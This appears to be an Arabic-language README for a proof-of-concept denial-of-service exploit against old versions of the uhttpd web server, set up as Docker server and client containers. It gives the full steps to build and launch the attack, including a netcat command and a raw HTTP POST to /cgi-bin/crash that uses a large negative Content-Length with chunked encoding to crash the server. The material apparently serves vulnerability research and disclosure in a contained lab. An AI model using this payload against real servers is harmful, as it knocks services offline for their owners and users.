
هذا هو الكود الخاص بأول CVE مقترح
تثبيت Docker
بناء وتشغيل الخادم cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
الحصول على عنوان IP لحاوية الخادم Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" استخرج عنوان IP وأضفه إلى الأمر الخاص ببناء العميل يمكنك التحقق من الخادم بالذهاب إلى localhost:80 في متصفحك
بناء وتشغيل العميل من خلال إلغاء تعليق سطر CMD في ملف Client/Dockerfile سيبدأ الهجوم تلقائيًا مع بدء تشغيل الحاوية cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
الاتصال بحاوية Docker الخاصة بالعميل docker container ls ابحث عن حاوية client/cve واتصل بها docker exec -it /bin/sh
عند الجاهزية أطلق الهجوم ./crash.sh
لن يتمكن الخادم من الاستجابة
لا جدوى حقيقية من توفير كود مصدري مشروح لأن الاستغلال قصير جدًا
يتكون الاستغلال من استخدام Netcat وإرسال طلب POST بقيمة Content-Length سالبة كبيرة إلى الخادم بشأن معالجة الملفات في دليل cgi-bin/
يتم التنفيذ باستخدام سكربت netcat بسيط. هنا تتم الإشارة إلى ملف في مجلد CGI-bin الخاص بالخادم يُدعى Crash nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
كانت أكبر مشكلة هي محاولة تشغيل الإصدارات القديمة من uhttpd في بيئة docker محدّثة.